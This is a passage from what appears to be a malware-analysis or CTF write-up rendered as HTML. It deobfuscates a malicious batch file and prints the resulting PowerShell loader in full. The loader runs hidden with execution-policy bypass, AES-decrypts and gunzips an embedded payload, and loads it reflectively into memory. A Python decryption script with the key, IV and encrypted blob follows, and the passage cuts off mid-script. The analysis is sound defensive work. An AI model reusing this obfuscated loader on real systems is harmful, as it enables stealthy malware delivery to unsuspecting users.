class="s1">KtmeCApwQn&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MAPkvbWKbC&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">HlBVDpGgba&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ZNnASGtLCj&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">IwOqmlYsbl&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">JbFOJyRrBm&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">TiuQnZmosP&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">HkiSTlwlIs&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">rofQqYizRu&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">OckpqzbYcn&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">YJZmDySMUy&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">cGJiVEdEzp&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">QNxYaFZSBu&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">jxjvtHoTnR&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">fvEtritbuM&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">wxzMwkmbmY&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">yZlAoExoOn&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">pjrIjvjdGR&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">mYyPXMYwYi&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">vnHosfjdeN&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">LfngwmfRCb&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">bivuMABwCB&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GapFScCcpe&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">lfYSggLrsL&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GhTXhmRnCR&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ENADhKPHot&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KdByPVjCnF&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">PjdRUyhsyG&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">kpzxAxFvLw&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">rddZbDFvhl%&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">enc&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="s1">&amp;#39;%&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">tmp&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">i&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">enc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">tmp&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ls&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="s1">&amp;#39;=&amp;#39;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">ls&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">txt&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">ls&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">]]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ls&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">11&lt;/span>&lt;span class="p">:]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">enc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">enc&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">replace&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ls&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">11&lt;/span>&lt;span class="p">:])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">enc&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Which, results in this script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-powershell" data-lang="powershell">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">copy &lt;/span>&lt;span class="n">C:WindowsSystem32&lt;/span>&lt;span class="p">\&lt;/span>&lt;span class="n">WindowsPowerShell&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">1&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">0powershell&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">exe&lt;/span> &lt;span class="p">/&lt;/span>&lt;span class="n">y&lt;/span> &lt;span class="n">execd&lt;/span> &lt;span class="n">exe&lt;/span> &lt;span class="n">-noprofile&lt;/span> &lt;span class="n">-windowstyle&lt;/span> &lt;span class="n">hidden&lt;/span> &lt;span class="n">-ep&lt;/span> &lt;span class="n">bypass&lt;/span> &lt;span class="n">-command&lt;/span> &lt;span class="nv">$eIfqq&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="no">[System.IO.File]&lt;/span>&lt;span class="p">::(&lt;/span>&lt;span class="s1">&amp;#39;txeTllAdaeR&amp;#39;&lt;/span>&lt;span class="p">[-&lt;/span>&lt;span class="n">1&lt;/span>&lt;span class="p">..-&lt;/span>&lt;span class="n">11&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">-join&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)(&lt;/span>&lt;span class="s1">&amp;#39;%~f0&amp;#39;&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">Split&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="no">[Environment]&lt;/span>&lt;span class="p">::&lt;/span>&lt;span class="n">NewLine&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="k">foreach&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nv">$YiLGW&lt;/span> &lt;span class="k">in&lt;/span> &lt;span class="nv">$eIfqq&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nv">$YiLGW&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">StartsWith&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;:: &amp;#39;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="nv">$VuGcO&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nv">$YiLGW&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Substring&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">3&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="k">break&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="p">};&lt;/span> &lt;span class="p">};&lt;/span>&lt;span class="nv">$uZOcm&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="no">[System.Convert]&lt;/span>&lt;span class="p">::(&lt;/span>&lt;span class="s1">&amp;#39;gnirtS46esaBmorF&amp;#39;&lt;/span>&lt;span class="p">[-&lt;/span>&lt;span class="n">1&lt;/span>&lt;span class="p">..-&lt;/span>&lt;span class="n">16&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">-join&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)(&lt;/span>&lt;span class="nv">$VuGcO&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="nv">$BacUA&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nb">New-Object&lt;/span> &lt;span class="n">System&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Security&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Cryptography&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">AesManaged&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="nv">$BacUA&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Mode&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="no">[System.Security.Cryptography.CipherMode]&lt;/span>&lt;span class="p">::&lt;/span>&lt;span class="n">CBC&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="nv">$BacUA&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Padding&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="no">[System.Security.Cryptography.PaddingMode]&lt;/span>&lt;span class="p">::&lt;/span>&lt;span class="n">PKCS7&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="nv">$BacUA&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Key&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="no">[System.Convert]&lt;/span>&lt;span class="p">::(&lt;/span>&lt;span class="s1">&amp;#39;gnirtS46esaBmorF&amp;#39;&lt;/span>&lt;span class="p">[-&lt;/span>&lt;span class="n">1&lt;/span>&lt;span class="p">..-&lt;/span>&lt;span class="n">16&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">-join&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)(&lt;/span>&lt;span class="s1">&amp;#39;0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="nv">$BacUA&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">IV&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="no">[System.Convert]&lt;/span>&lt;span class="p">::(&lt;/span>&lt;span class="s1">&amp;#39;gnirtS46esaBmorF&amp;#39;&lt;/span>&lt;span class="p">[-&lt;/span>&lt;span class="n">1&lt;/span>&lt;span class="p">..-&lt;/span>&lt;span class="n">16&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">-join&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)(&lt;/span>&lt;span class="s1">&amp;#39;2hn/J717js1MwdbbqMn7Lw==&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="nv">$Nlgap&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nv">$BacUA&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">CreateDecryptor&lt;/span>&lt;span class="p">();&lt;/span>&lt;span class="nv">$uZOcm&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nv">$Nlgap&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">TransformFinalBlock&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$uZOcm&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nv">$uZOcm&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Length&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="nv">$Nlgap&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Dispose&lt;/span>&lt;span class="p">();&lt;/span>&lt;span class="nv">$BacUA&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Dispose&lt;/span>&lt;span class="p">();&lt;/span>&lt;span class="nv">$mNKMr&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nb">New-Object&lt;/span> &lt;span class="n">System&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">IO&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">MemoryStream&lt;/span>&lt;span class="p">(,&lt;/span> &lt;span class="nv">$uZOcm&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="nv">$bTMLk&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nb">New-Object&lt;/span> &lt;span class="n">System&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">IO&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">MemoryStream&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="nv">$NVPbn&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nb">New-Object&lt;/span> &lt;span class="n">System&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">IO&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Compression&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">GZipStream&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$mNKMr&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="no">[IO.Compression.CompressionMode]&lt;/span>&lt;span class="p">::&lt;/span>&lt;span class="n">Decompress&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="nv">$NVPbn&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">CopyTo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$bTMLk&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="nv">$NVPbn&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Dispose&lt;/span>&lt;span class="p">();&lt;/span>&lt;span class="nv">$mNKMr&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Dispose&lt;/span>&lt;span class="p">();&lt;/span>&lt;span class="nv">$bTMLk&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Dispose&lt;/span>&lt;span class="p">();&lt;/span>&lt;span class="nv">$uZOcm&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nv">$bTMLk&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">ToArray&lt;/span>&lt;span class="p">();&lt;/span>&lt;span class="nv">$gDBNO&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="no">[System.Reflection.Assembly]&lt;/span>&lt;span class="p">::(&lt;/span>&lt;span class="s1">&amp;#39;daoL&amp;#39;&lt;/span>&lt;span class="p">[-&lt;/span>&lt;span class="n">1&lt;/span>&lt;span class="p">..-&lt;/span>&lt;span class="n">4&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">-join&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)(&lt;/span>&lt;span class="nv">$uZOcm&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="nv">$PtfdQ&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nv">$gDBNO&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">EntryPoint&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="nv">$PtfdQ&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Invoke&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$null&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(,&lt;/span> &lt;span class="no">[string[]]&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;%*&amp;#39;&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Short analysis on the script&amp;rsquo;s intention:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Step 1:&lt;/strong> Initiates AES decryptor using &lt;code>CBC&lt;/code> mode, &lt;code>PKCS7&lt;/code> padding mode, &lt;code>key&lt;/code> and &lt;code>IV&lt;/code> given.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Step 2:&lt;/strong> Decrypts the encrypted payload (via &lt;code>Window.bat&lt;/code>) using the above settings.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Step 3:&lt;/strong> Decompresses &lt;code>GZip&lt;/code>, then run the output as a &lt;code>binary&lt;/code>.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We can use this Python script below to get the binary that I have stated in step 3 above.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Cipher&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">AES&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.Padding&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">unpad&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">base64&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">gzip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">base64&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b64decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">iv&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">base64&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b64decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;2hn/J717js1MwdbbqMn7Lw==&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">encrypted_message&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">base64&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b64decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;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&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">cipher&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MODE_CBC&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">iv&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">decrypted_message&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">cipher&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">encrypted_message&lt;/span>&lt;span class="p">)&lt;/span>
